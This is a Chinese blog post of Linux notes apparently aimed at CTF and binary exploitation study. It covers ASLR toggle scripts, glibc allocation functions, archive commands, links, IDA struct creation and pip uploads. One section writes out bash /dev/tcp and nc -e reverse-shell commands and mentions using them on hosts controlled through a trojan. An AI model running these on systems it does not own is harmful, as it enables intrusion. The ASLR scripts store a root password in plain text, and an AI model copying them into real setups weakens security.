Linux下的一些基础知识小记

Linux

[toc]

ubuntu下编写快速开启\关闭\查看aslr脚本

由于suid不能直接作用于bash脚本(为了安全考虑),我们这里采用expect脚本的方式。如下所示:

关闭aslr

1
2
3
4
5
6
7
8
#!/usr/bin/expect
spawn su root
expect "Password: "
send "your_password\r"
send "echo 0 > /proc/sys/kernel/randomize_va_space\r"
send "exit\r"
expect eof
send_user "\n"

将这个脚本放在/usr/bin中,给予执行权限即可。

同理,开启aslr的脚本如下:

1
2
3
4
5
6
7
8
#!/usr/bin/expect
spawn su root
expect "Password: "
send "your_password\r"
send "echo 2 > /proc/sys/kernel/randomize_va_space\r"
send "exit\r"
expect eof
send_user "\n"

查看aslr状态:

1
2
3
4
5
6
7
8
#!/usr/bin/expect
spawn su root
expect "Password: "
send "your_password\r"
send "cat /proc/sys/kernel/randomize_va_space\r"
send "exit\r"
expect eof
send_user "\n"

反弹shell

若要从主机A接收一个反弹的shell,首先在主机上监听某个端口:

1
nc -l 8080

通过在主机B上执行如下命令,即可使得主机B主动发起一个连接到主机A

1
2
3
bash -i >& /dev/tcp/主机A的IP/主机A监听的端口 0>&1
# 或者nc -e /bin/bash 计算机A的IP 计算机A监听的端口
# 但某些版本的nc不支持-e参数

“反弹”shell的意思就是,这个shell是由主机B主动发起连接让主机A使用主机Bshell的,因此不会被防火墙等阻拦。若我们能通过木马等方式控制某台主机并执行一次命令,那么我们即可反弹一个shell

常见函数

setvbuf函数

1
2
3
4
5
6
7
setvbuf(steam, buf, mode, size);
// setvbuf可以设置文件流的缓冲模式。
// stream表示设置哪一个流,例如stdin、stdout
// buf表示自定义缓冲区的位置,设置为0表示不要自定义缓冲区而是C语言分配
// mode分为三种,全缓冲_IOFBF为0, _IOLBF为1,_IONBF为2
// size表示缓冲区大小,若缓冲区是C语言分配,则该值设置为缓冲区大小。若缓冲区是自定义的,该值需要与自定义缓冲区相匹配。
// setvbuf(stdin, 0, 2, 0);表示将stdin设置为无缓冲模式

calloc函数

1
2
3
4
5
6
calloc(num_elements, element_size);
// calloc函数可以动态分配内存,且分配的区域会自动初始化为0
// calloc函数不会申请到tcache中的内存空间
// num_elemtents表示要分配的元素数量
// element_size表示每个元素的大小(单位是字节)
// 实际申请的内存空间为num_elements * element_size(不加header)

realloc函数

1
2
3
4
5
6
7
realloc(ptr, new_size);
// realloc函数可以重新调整之前分配的内存块的大小。
// 若ptr为0且new_size > 0,则相当于malloc(new_size)
// 若new_size为0,则会将ptr进行free
// 若new_size非法,则会return NULL
// 若new_size < old_size - 0x20,则会chunk shrink,多余的部分会直接free
// 若new_size > old_size,高地址处的chunk为top chunk则直接扩展;高地址处为free状态的chunk,则需要后面free的chunk合并,判断切割后能否满足,否则直接申请新的chunk,复制到新的chunk中,将以前的chunk进行free

Linux查找文件

1
find /etc -name "php.ini"

VIM操作

回到顶部

1
gg

删除当前以下所有

1
dG

查找内容

1
2
3
/ # 唤起查找,输入完成后回车
n # 前向查找
N # 反向查找

vmware共享文件夹

我现在设置到了主机桌面的vmware_share

ubuntu下是在/mnt/hgfs/vmware_share

ubuntu解压缩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
tar –xvf file.tar //解压 tar包

tar -xzvf file.tar.gz //解压tar.gz

tar -xjvf file.tar.bz2 //解压 tar.bz2

tar –xZvf file.tar.Z //解压tar.Z

unrar e file.rar //解压rar

unzip file.zip //解压zip

总结:

(1)、*.tar 用 tar –xvf 解压
(2)、*.gz 用 gzip -d或者gunzip 解压
(3)、*.tar.gz和*.tgz 用 tar –xzf 解压
(4)、*.bz2 用 bzip2 -d或者用bunzip2 解压
(5)、*.tar.bz2用tar –xjf 解压
(6)、*.Z 用 uncompress 解压
(7)、*.tar.Z 用tar –xZf 解压
(8)、*.rar 用 unrar e解压
(9)、*.zip 用 unzip 解压

软链接和硬链接

软链接

  • 可以理解为一个“快捷方式”。
  • 原始文件被删除后,软链接将“悬空”,指向不存在的文件。
  • 软链接可以链接到目录。
  • 软链接不会存储文件内容,而是仅存储原文件的路径。

硬链接

  • 可以理解为同一个文件的不同名称。
  • 原始文件被删除后,硬链接仍然可以访问该文件(你可以把硬链接和原始文件名同等地当作文件的两个名称)。
  • 不能链接到目录
1
2
3
4
# 创建硬链接
ln source_file hard_link
# 创建软链接
ln -s source_file soft _link

ida创建结构体

在逆向尤其是二进制程序分析时,我们常常会遇到一些结构体,结构体里面还会嵌套一些结构体。有的师傅喜欢人肉反编译,但是这里还是记录一下ida如何进行结构体的创建。这里分为两种,一种是ida自带的结构体创建和编写C语言代码创建。

无论使用哪种方式创建了结构体,只需要在ida反编译的代码中选中结构体指针变量并右键,点击conver to struct*然后选中自己创建的结构体即可让ida应用这种结构体方式。

ida自带结构体创建

使用shift+f9打开结构体菜单,如图所示:

此时按下键盘上的insert键,输入要创建的结构体名称,如图所示:

image-20231113130817035

就可以完成空结构体的创建,如图所示:

image-20231113130844706

现在我们将光标移动到ends的一行,按下键盘上的d键,即可添加一个结构体的成员变量:

image-20231113130945752

鼠标移动到默认创建的名称field_0上按下键盘上的n键可以更改名称,而再次按下键盘上的d键可以更改变量的数据类型,如图所示就创建好了一个带有一个8字节大小的叫做name的成员变量的结构体:

image-20231113131104436

编写C语言代码创建结构体

假如你觉得上面的方法过于复杂,或者结构体成员变量较多,那么你可以采取直接编写C语言代码的方式来创建结构体。在ida中按下shift+f1,如图所示:

image-20231113131420860

我们按下键盘上的insert键,即可弹出输入结构体的C语言代码的输入框:

image-20231113131532298

输入完成后按下ok即可完成结构体的创建。无论使用了哪种方式创建结构体,都可以在结构体指针上使用convert to struct*来应用结构体。

效果演示

如图所示,应用结构体后即可使用结构体的方式在反编译后的代码中显示。

image-20231113131752853

上传包到pip

使用如下命令构建包,会生成文件到dist

1
python3 setup.py sdist bdist_wheel

使用如下命令上传到pip

1
twine upload dist/*

会要求输入API。若更新,需要更新setup.py中的版本号。


Linux下的一些基础知识小记
http://example.com/2023/09/18/system/unsorted/system_常用操作/
作者
Ltfall
发布于
2023年9月18日
许可协议